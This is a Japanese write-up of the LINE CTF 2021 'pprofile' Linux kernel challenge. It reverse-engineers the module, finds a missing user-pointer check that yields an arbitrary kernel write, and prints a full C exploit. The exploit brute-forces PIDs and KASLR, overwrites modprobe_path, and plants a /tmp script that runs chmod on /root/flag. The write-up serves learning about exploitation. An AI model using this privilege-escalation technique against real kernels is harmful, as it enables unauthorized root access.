イントロ Link to this heading

いつぞや開催された LINE CTF 2021。最近 kernel 問を解いているので kernel 問を解こうと思って望んだが解けませんでした。このエントリの前半は問題の概要及び自分がインタイムに考えたことをまとめていて、後半で実際に動く exploit の概要を書いています。尚、本 exploit は@sampritipanda さんのPoC を完全に参考にしています。というかほぼ写経しています。過去の CTF の問題を復習する時に結構この人の PoC を参考にすることが多いので、いつもかなり感謝しています。 今回、振り返ってみるとかなり明らかな、自明と言うか、誘っているようなバグがあったにも関わらず全然気づけなかったので、反省しています。嘘です。コーラ飲んでます。

static Link to this heading

static.sh
 1/ $ cat /proc/version
 2Linux version 5.0.9 (ubuntu@ubuntu) (gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.11)) #1 SMP 9
 3$ cat ./run
 4qemu-system-x86_64 -cpu kvm64,+smep,+smap \
 5  -m 128M \
 6  -kernel ./bzImage \
 7  -initrd ./initramfs.cpio \
 8  -nographic \
 9  -monitor /dev/null \
10  -no-reboot \
11  -append "root=/dev/ram rw rdinit=/root/init console=ttyS0 loglevel=3 oops=panic panic=1"
12$ modinfo ./pprofile.ko
13filename:       /home/wataru/Documents/ctf/line2021/pprofile/work/./pprofile.ko
14license:        GPL
15author:         pprofile
16srcversion:     35894B85C84616BDF4E3CE4
17depends:
18retpoline:      Y
19name:           pprofile
20vermagic:       5.0.9 SMP mod_unload modversions

SMEP 有効・SMAP 有効・KAISER 有効・KASLR 有効・oops->panic・シングルコア SMP。ソース配布なし。

Module Link to this heading

ioctlのみを実装したデバイスを登録している。コマンドは 3 つ存在し、それぞれ大凡以下のことをする。

PP_REGISTER: 0x20 Link to this heading

クエリは以下の構造。また、内部では 2 つの構造体が使われる。

query.c
 1struct ioctl_query{
 2    char *comm;
 3    char *result;
 4}
 5struct unk1{
 6    char *comm;
 7    struct unk2 *ptr;
 8}
 9struct unk2{
10    ulong NOT_USED;
11    uint pid;
12    uint length;
13}
14struct unk1 storages[0x10]; // global

ユーザから指定されたcommstoragesに存在していなければ新しくunk1unk2kmalloc/kmem_cache_alloc_trace()で確保し、caller の PID や指定されたcomm及びその length を格納する。この際に、commの length に応じて以下の謎の処理があるが、これが何をしているかは分からなかった。

unk_source.c
 1    else {
 2      uVar5 = (uint)offset;
 3                    /* n <= 6 */
 4      if (uVar5 < 0x8) {
 5        if ((offset & 0x4) == 0x0) {
 6                    /* n <= 3 */
 7          if ((uVar5 != 0x0) && (*__dest = '\0', (offset & 0x2) != 0x0)) {
 8            *(undefined2 *)(__dest + ((offset & 0xffffffff) - 0x2)) = 0x0;
 9          }
10        }
11        else {
12                    /* 4 <= n <= 6 */
13          *(undefined4 *)__dest = 0x0;
14          *(undefined4 *)(__dest + ((offset & 0xffffffff) - 0x4)) = 0x0;
15        }
16      }
17      else {
18                    /* n == 7 */
19        *(undefined8 *)(__dest + ((offset & 0xffffffff) - 0x8)) = 0x0;
20        if (0x7 < uVar5 - 0x1) {
21          uVar4 = 0x0;
22          do {
23            offset = (ulong)uVar4;
24            uVar4 = uVar4 + 0x8;
25            *(undefined8 *)(__dest + offset) = 0x0;
26          } while (uVar4 < (uVar5 - 0x1 & 0xfffffff8));
27        }
28      }

PP_DESTROY: 0x40 Link to this heading

storagesから指定されたcommを持つエントリを探して、kfree()及び NULL クリアするのみ。

PP_ASK: 0x10 Link to this heading

指定されたcommに該当するstoragesのエントリのunk2構造体が持つ値を、指定されたquery.resultにコピーする。このコピーでは以下のようにput_user_size()という関数が使われている。

pp_ask.c
1                    /* Found specified entry */
2            uVar5 = unk1->info2->pid;
3            uVar4 = unk1->info2->length;
4            put_user_size(NULL,l58_query.result,0x4);
5            iVar2 = extraout_EAX;
6            if ((extraout_EAX != 0x0) ||
7               (put_user_size((char *)(ulong)uVar5,comm + 0x8,0x4), iVar2 = extraout_EAX_00,
8               extraout_EAX_00 != 0x0)) goto LAB_001001a0;
9            put_user_size((char *)(ulong)uVar4,comm + 0xc,0x4);

この関数は、内部でcopy_user_generic_unrolled()という関数を用いてコピーを行っている。この関数の存在を知らなかったのだが、/arch/x86/lib/copy_user_64.Sでアセンブラで書かれた関数で userland に対するコピーを行うらしい。先頭にあるSTAC命令は一時的に SMAP を無効にする命令である。

copy_user_64.S
 1ENTRY(copy_user_generic_unrolled)
 2	ASM_STAC
 3	cmpl $8,%edx
 4	jb 20f		/* less then 8 bytes, go to byte copy loop */
 5	ALIGN_DESTINATION
 6	movl %edx,%ecx
 7	andl $63,%edx
 8	shrl $6,%ecx
 9	jz .L_copy_short_string
101:	movq (%rsi),%r8
11(snipped...)

この時点で、明らかにこれが自明なバグであることに気づくべきだった。まぁ、後述。

期間中に考えたこと(FAIL) Link to this heading

絶対にレースだと思ってた。というのも、リバースしたコードが、それはもう TOCTOU 臭が漂いまくっていた。いや、本当は漂ってなかったかも知れないが、絶対そうだと思いこんでいた。一番有力なのは以下の部分だと思ってた。

sus.c
 1      if (command == 0x10) {
 2        iVar2 = strncpy_from_user(&l41_user_comm,l58_query.userbuf,0x8);
 3        if ((iVar2 == 0x0) || (iVar2 == 0x9)) goto LAB_00100341;
 4        if (iVar2 < 0x0) goto LAB_001001a0;
 5        p_storage = storages;
 6        do {
 7          unk1 = *p_storage;
 8          if ((unk1 != NULL) &&
 9             (iVar2 = strcmp(unk1->comm,(char *)&l41_user_comm), comm = l58_query.result,
10             iVar2 == 0x0)) {
11                    /* Found specified entry */
12            uVar5 = unk1->info2->pid;
13            uVar4 = unk1->info2->length;
14            put_user_size(NULL,l58_query.result,0x4);
15            iVar2 = extraout_EAX;
16            if ((extraout_EAX != 0x0) ||
17               (put_user_size((char *)(ulong)uVar5,comm + 0x8,0x4), iVar2 = extraout_EAX_00,
18               extraout_EAX_00 != 0x0)) goto LAB_001001a0;
19            put_user_size((char *)(ulong)uVar4,comm + 0xc,0x4);

user から指定されたcommstrncpy_from_user()でコピーした後に、合致するエントリがあるかをstoragesから探し、見つかったならばその結果をquery.resultにコピーしている。ここだけが唯一storagesからの検索後にもユーザランドへのアクセスがあったため、ここで uffd して TOCTOU するものだと思った。処理を止めている間に該当エントリをPP_DESTROYして何か他のオブジェクトを入れた後に read するんじゃないかと思った。だが、実際の処理ではユーザアクセス(put_user_size())の前に pid と length をスタックに積んでいるため、少なくとも uffd によるレースは失敗する。なんかうまいことstoragesの検索後からスタックに積むまでの間に処理が移ったら良いんじゃないかとも思ったが、だいぶしんどそう。しかも、この方法だと leak ができたとしても write する手段がないためどっちにしろ詰むことになったと思う。 レースの線に固執しすぎていたのと、あと単純にリバースが下手でバイナリを読み間違えていたのもあって、解けなかった。

Vuln Link to this heading

以下、完全に@sampritipanda さんのPoC をパクっています。 上述したが、ユーザランドへのコピーにcopy_user_generic_unrolled()を使っている。この関数のことを読み飛ばしていたのだが、kernel を読んでみると、この関数は CPU がrep movsq等の効率的なコピーに必要な命令のマイクロコードをサポートしていない場合に呼ばれる関数らしい。

uaccess_64.h
 1copy_user_generic(void *to, const void *from, unsigned len)
 2{
 3	unsigned ret;
 4
 5	/*
 6	 * If CPU has ERMS feature, use copy_user_enhanced_fast_string.
 7	 * Otherwise, if CPU has rep_good feature, use copy_user_generic_string.
 8	 * Otherwise, use copy_user_generic_unrolled.
 9	 */
10	alternative_call_2(copy_user_generic_unrolled,
11			 copy_user_generic_string,
12			 X86_FEATURE_REP_GOOD,
13			 copy_user_enhanced_fast_string,
14			 X86_FEATURE_ERMS,
15			 ASM_OUTPUT2("=a" (ret), "=D" (to), "=S" (from),
16				     "=d" (len)),
17			 "1" (to), "2" (from), "3" (len)
18			 : "memory", "rcx", "r8", "r9", "r10", "r11");
19	return ret;
20}

そして、このcopy_user_generic()自体は通常のcopy_from_user()から呼ばれる関数である。(raw_copy_from_user()経由)

usercopy.c
 1unsigned long _copy_from_user(void *to, const void __user *from, unsigned long n)
 2{
 3	unsigned long res = n;
 4	might_fault();
 5	if (likely(access_ok(from, n))) {
 6		kasan_check_write(to, n);
 7		res = raw_copy_from_user(to, from, n);
 8	}
 9	if (unlikely(res))
10		memset(to + (n - res), 0, res);
11	return res;
12}
13EXPORT_SYMBOL(_copy_from_user);

はい。上の関数を見れば分かるが、raw_copy_from_user()を呼び出す前にはaccess_ok()を呼んで、指定されたユーザランドポインタが valid なものであるかをチェックする必要がある。つまり、copy_user_generic_unrolled()自体はこのチェックが既に済んでおり、ポインタは valid なものとして扱う。よって、query.result に kernelland のポインタを渡してしまえば AAW が実現される

方針 Link to this heading

PP_ASKで書き込まれる値は、commlength・PID、及び使用されていない常に 0 の 8byte である(これナニ?)。この内commは length が 1~7 に限定されているため、任意に操作できるのは PID だけである。fork()を所望の PID になるまで繰り返せば任意の値を書き込むことができる。 任意書き込みができる場合に一番楽なのはmodprobe_pathである。この際、KASLR が有効だから leak しなくちゃいけないと思ったら、意外と bruteforce でなんとかなるらしい。エントロピーは、以下の試行でも分かるように 1byte のみである。read の bruteforce ならまだしも、write の bruteforce でも意外と kernel は crash しないらしい。勉強になった。

ex.txt
1ffffffff82256f40 D modprobe_path
2ffffffff90256f40 D modprobe_path
3ffffffff96256f40 D modprobe_path

exploit Link to this heading

exploit.c
  1
  2/** This PoC is completely based on https://gist.github.com/sampritipanda/3ad8e88f93dd97e93f070a94a791bff6 **/
  3
  4#define _GNU_SOURCE
  5#include <string.h>
  6#include <stdio.h>
  7#include <fcntl.h>
  8#include <stdint.h>
  9#include <unistd.h>
 10#include <assert.h>
 11#include <stdlib.h>
 12#include <signal.h>
 13#include <poll.h>
 14#include <pthread.h>
 15#include <err.h>
 16#include <errno.h>
 17#include <sched.h>
 18#include <linux/bpf.h>
 19#include <linux/filter.h>
 20#include <linux/userfaultfd.h>
 21#include <linux/prctl.h>
 22#include <sys/syscall.h>
 23#include <sys/ipc.h>
 24#include <sys/msg.h>
 25#include <sys/prctl.h>
 26#include <sys/ioctl.h>
 27#include <sys/mman.h>
 28#include <sys/types.h>
 29#include <sys/xattr.h>
 30#include <sys/socket.h>
 31#include <sys/uio.h>
 32#include <sys/shm.h>
 33
 34
 35// commands
 36#define DEV_PATH "/dev/pprofile"   // the path the device is placed
 37
 38// constants
 39#define PAGE 0x1000
 40#define FAULT_ADDR 0xdead0000UL
 41#define FAULT_OFFSET PAGE
 42#define MMAP_SIZE 4*PAGE
 43#define FAULT_SIZE MMAP_SIZE - FAULT_OFFSET
 44// (END constants)
 45
 46// globals
 47// (END globals)
 48
 49
 50// utils
 51#define WAIT getc(stdin);
 52#define ulong unsigned long
 53#define scu static const unsigned long
 54#define NULL (void*)0
 55#define errExit(msg) do { perror(msg); exit(EXIT_FAILURE); \
 56                        } while (0)
 57#define KMALLOC(qid, msgbuf, N) for(int ix=0; ix!=N; ++ix){\
 58                        if(msgsnd(qid, &msgbuf, sizeof(msgbuf.mtext) - 0x30, 0) == -1) errExit("KMALLOC");}
 59ulong user_cs,user_ss,user_sp,user_rflags;
 60struct pt_regs {
 61	ulong r15; ulong r14; ulong r13; ulong r12; ulong bp;
 62	ulong bx;  ulong r11; ulong r10; ulong r9; ulong r8;
 63	ulong ax; ulong cx; ulong dx; ulong si; ulong di;
 64	ulong orig_ax; ulong ip; ulong cs; ulong flags;
 65  ulong sp; ulong ss;
 66};
 67void print_regs(struct pt_regs *regs)
 68{
 69  printf("r15: %lx r14: %lx r13: %lx r12: %lx\n", regs->r15, regs->r14, regs->r13, regs->r12);
 70  printf("bp: %lx bx: %lx r11: %lx r10: %lx\n", regs->bp, regs->bx, regs->r11, regs->r10);
 71  printf("r9: %lx r8: %lx ax: %lx cx: %lx\n", regs->r9, regs->r8, regs->ax, regs->cx);
 72  printf("dx: %lx si: %lx di: %lx ip: %lx\n", regs->dx, regs->si, regs->di, regs->ip);
 73  printf("cs: %lx flags: %lx sp: %lx ss: %lx\n", regs->cs, regs->flags, regs->sp, regs->ss);
 74}
 75void NIRUGIRI(void)
 76{
 77  char *argv[] = {"/bin/sh",NULL};
 78  char *envp[] = {NULL};
 79  execve("/bin/sh",argv,envp);
 80}
 81// should compile with -masm=intel
 82static void save_state(void) {
 83  asm(
 84      "movq %0, %%cs\n"
 85      "movq %1, %%ss\n"
 86      "movq %2, %%rsp\n"
 87      "pushfq\n"
 88      "popq %3\n"
 89      : "=r" (user_cs), "=r" (user_ss), "=r"(user_sp), "=r" (user_rflags) : : "memory" 		);
 90}
 91
 92static void shellcode(void){
 93  asm(
 94    "xor rdi, rdi\n"
 95    "mov rbx, QWORD PTR [rsp+0x50]\n"
 96    "sub rbx, 0x244566\n"
 97    "mov rcx, rbx\n"
 98    "call rcx\n"
 99    "mov rdi, rax\n"
100    "sub rbx, 0x470\n"
101    "call rbx\n"
102    "add rsp, 0x20\n"
103    "pop rbx\n"
104    "pop r12\n"
105    "pop r13\n"
106    "pop r14\n"
107    "pop r15\n"
108    "pop rbp\n"
109    "ret\n"
110  );
111}
112// (END utils)
113
114/*** GLOBALS *****/
115void *mmap_addr;
116int fd;
117char inbuf[PAGE];
118char outbuf[PAGE];
119/********************/
120
121#define PP_REGISTER 0x20
122#define PP_DESTROY 0x40
123#define PP_ASK 0x10
124
125struct query{
126  char *buf;
127  char *result;
128};
129
130void _register(int fd, char *buf){
131  printf("[.] register: %d %p(%s)\n", fd, buf, buf);
132  struct query q = {
133      .buf = buf};
134  int ret = ioctl(fd, PP_REGISTER, &q);
135  printf("[reg] %d\n", ret);
136}
137
138void _destroy(int fd, char *buf){
139  printf("[.] destroy: %d %p(%s)\n", fd, buf, buf);
140  struct query q = {
141      .buf = buf
142  };
143  int ret = ioctl(fd, PP_DESTROY, &q);
144  printf("[des] %d\n", ret);
145}
146
147void _ask(int fd, char *buf, char *obuf){
148  printf("[.] ask: %d %p %p\n", fd, buf, obuf);
149  struct query q = {
150      .buf = buf,
151      .result = obuf
152  };
153  int ret = ioctl(fd, PP_ASK, &q);
154  printf("[ask] %d\n", ret);
155}
156
157void ack_pid(int pid, void (*f)(ulong), ulong arg){
158  while(1==1){
159    int cur = fork();
160    if(cur == 0){ // child
161      if(getpid() % 0x100 == 0){
162        printf("[-] 0x%x\n", getpid());
163      }
164      if(getpid() == pid){
165        f(arg);
166      }
167      exit(0);
168    }else{ // parent
169      wait(NULL);
170      if(cur == pid)
171        break;
172    }
173  }
174}
175
176void sub_aaw(ulong offset){
177  for (int ix = 0; ix != 0xFF; ++ix){
178    ulong target = 0xffffffff00000000UL
179                    + ix * 0x01000000UL
180                    + offset;
181    _register(fd, inbuf);
182    _ask(fd, inbuf, (char *)target);
183    _destroy(fd, inbuf);
184  }
185}
186
187void aaw(ulong offset, unsigned val){
188  ack_pid(val, &sub_aaw, offset);
189}
190
191int main(int argc, char *argv[]) {
192  char s_evil[] = "/tmp/a\x00";
193  memset(inbuf, 0, 0x200);
194  memset(outbuf, 0, 0x200);
195  strcpy(inbuf, "ABC\x00");
196  fd = open(DEV_PATH, O_RDONLY);
197  assert(fd >= 2);
198
199  // setup for modprobe_path overwrite
200  system("echo -ne '#!/bin/sh\nchmod 777 /root/flag' > /tmp/a");
201  system("chmod +x /tmp/a");
202  system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/nirugiri");
203  system("chmod +x /tmp/nirugiri");
204
205  for(int ix=0;ix<strlen(s_evil);ix+=2){
206    printf("[+] writing %x.......\n", *((unsigned short*)(s_evil+ix)));
207    aaw(0x256f40 - 0x10 + 8 + ix, *((unsigned short*)(s_evil+ix)));
208  }
209
210  // invoke user_mod_helper
211  system("/tmp/nirugiri");
212
213  return 0;
214}
215
216/*
217ffffffff82256f40 D modprobe_path
218ffffffff90256f40 D modprobe_path
219ffffffff96256f40 D modprobe_path
220*/

アウトロ Link to this heading

root

この、無能め!!!!

symbols without KASLR Link to this heading

 1/ # cat /proc/kallsyms | grep pprofile
 20xffffffffc0002460 t pprofile_init        [pprofile]
 30xffffffffc00044d0 b __key.27642  [pprofile]
 40xffffffffc00030a0 r pprofile_fops        [pprofile]
 50xffffffffc0002570 t pprofile_exit        [pprofile]
 60xffffffffc00032bc r _note_6      [pprofile]
 70xffffffffc0004440 b p    [pprofile]
 80xffffffffc0004000 d pprofile_major       [pprofile]
 90xffffffffc0004040 d __this_module        [pprofile]
100xffffffffc0002570 t cleanup_module       [pprofile]
110xffffffffc00044c8 b pprofile_class       [pprofile]
120xffffffffc0002460 t init_module  [pprofile]
130xffffffffc0002000 t put_user_size        [pprofile]
140xffffffffc0002050 t pprofile_ioctl       [pprofile]
150xffffffffc0004460 b cdev [pprofile]
160xffffffffc00043c0 b storages     [pprofile]

参考 Link to this heading